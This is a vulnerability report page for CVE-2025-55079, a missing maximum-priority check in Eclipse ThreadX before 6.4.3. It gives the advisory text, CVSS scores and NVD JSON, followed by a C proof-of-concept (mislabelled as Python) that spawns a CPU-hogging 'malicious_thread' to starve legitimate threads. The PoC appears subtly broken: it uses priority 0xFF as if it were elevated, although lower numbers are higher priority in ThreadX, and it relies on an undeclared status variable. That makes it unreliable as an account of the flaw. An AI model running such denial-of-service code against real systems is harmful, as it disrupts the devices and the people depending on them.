Security Vulnerability Report
中文
CVE-2025-55079 CVSS 5.5 MEDIUM

CVE-2025-55079

Published: 2025-10-15 05:16:03
Last Modified: 2025-10-22 16:36:33

Description

In Eclipse ThreadX before version 6.4.3, the thread module has a setting of maximum priority. In some cases the check of that maximum priority wasn't performed, allowing, as a result, to obtain a thread with higher priority than expected and causing a possible denial of service.

CVSS Details

CVSS Score
5.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:eclipse:threadx:*:*:*:*:*:*:*:* - VULNERABLE
Eclipse ThreadX < 6.4.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
/* * CVE-2025-55079 - Eclipse ThreadX Priority Check Bypass PoC * * This PoC demonstrates the missing maximum priority check vulnerability * in Eclipse ThreadX before version 6.4.3. * * The vulnerability allows creating/modifying a thread with priority * higher than the configured maximum, potentially causing DoS. */ #include "tx_api.h" #include <stdio.h> #define DEMO_STACK_SIZE 1024 #define MAX_PRIORITY_VALUE 0 /* Configured max priority (e.g., 0 = highest) */ #define EXPLOIT_PRIORITY 0xFF /* Attempt to set a very high priority value */ TX_THREAD malicious_thread; TX_THREAD legitimate_thread; ULONG malicious_stack[DEMO_STACK_SIZE]; ULONG legitimate_stack[DEMO_STACK_SIZE]; /* Thread that continuously consumes CPU resources at elevated priority */ void malicious_thread_entry(ULONG thread_input) { while(1) { /* Busy loop - prevents lower priority threads from executing */ /* This causes DoS for legitimate system threads */ volatile ULONG counter = 0; while(counter < 1000000) { counter++; } } } /* Normal legitimate thread that should be able to run */ void legitimate_thread_entry(ULONG thread_input) { while(1) { printf("Legitimate thread running...\n"); tx_thread_sleep(100); } } void exploit_cve_2025_55079(void) { UINT status; /* Initialize ThreadX kernel */ tx_kernel_enter(); } void tx_application_define(void *first_unused_memory) { /* Create a legitimate thread with normal priority */ tx_thread_create(&legitimate_thread, "legit_thread", legitimate_thread_entry, 0, legitimate_stack, DEMO_STACK_SIZE, 10, 10, TX_NO_TIME_SLICE, TX_AUTO_START); /* * Exploit: Create a thread with priority exceeding the maximum allowed. * In vulnerable versions (< 6.4.3), the maximum priority check is bypassed * in certain code paths, allowing this thread to be created with an * abnormally high priority. */ status = tx_thread_create(&malicious_thread, "malicious_thread", malicious_thread_entry, 0, malicious_stack, DEMO_STACK_SIZE, EXPLOIT_PRIORITY, EXPLOIT_PRIORITY, TX_NO_TIME_SLICE, TX_AUTO_START); if (status == TX_SUCCESS) { /* Thread created with unauthorized priority - DoS achieved */ /* The malicious thread will starve all lower priority threads */ printf("[+] Exploit successful: Thread created with priority %d\n", EXPLOIT_PRIORITY); printf("[+] System is now in denial-of-service state\n"); } else { printf("[-] Exploit failed: status = 0x%02X\n", status); } }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-55079", "sourceIdentifier": "[email protected]", "published": "2025-10-15T05:16:02.680", "lastModified": "2025-10-22T16:36:32.720", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In Eclipse ThreadX before version 6.4.3, the thread module has a setting of maximum priority. In some cases the check of that maximum priority wasn't performed, allowing, as a result, to obtain a thread with higher priority than expected and causing a possible denial of service."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.7, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-770"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:eclipse:threadx:*:*:*:*:*:*:*:*", "versionEndExcluding": "6.4.3", "matchCriteriaId": "8DFDFD2C-0D11-4D17-832D-CA423F67AE09"}]}]}], "references": [{"url": "https://github.com/eclipse-threadx/threadx/security/advisories/GHSA-w8rw-fqgj-9r49", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}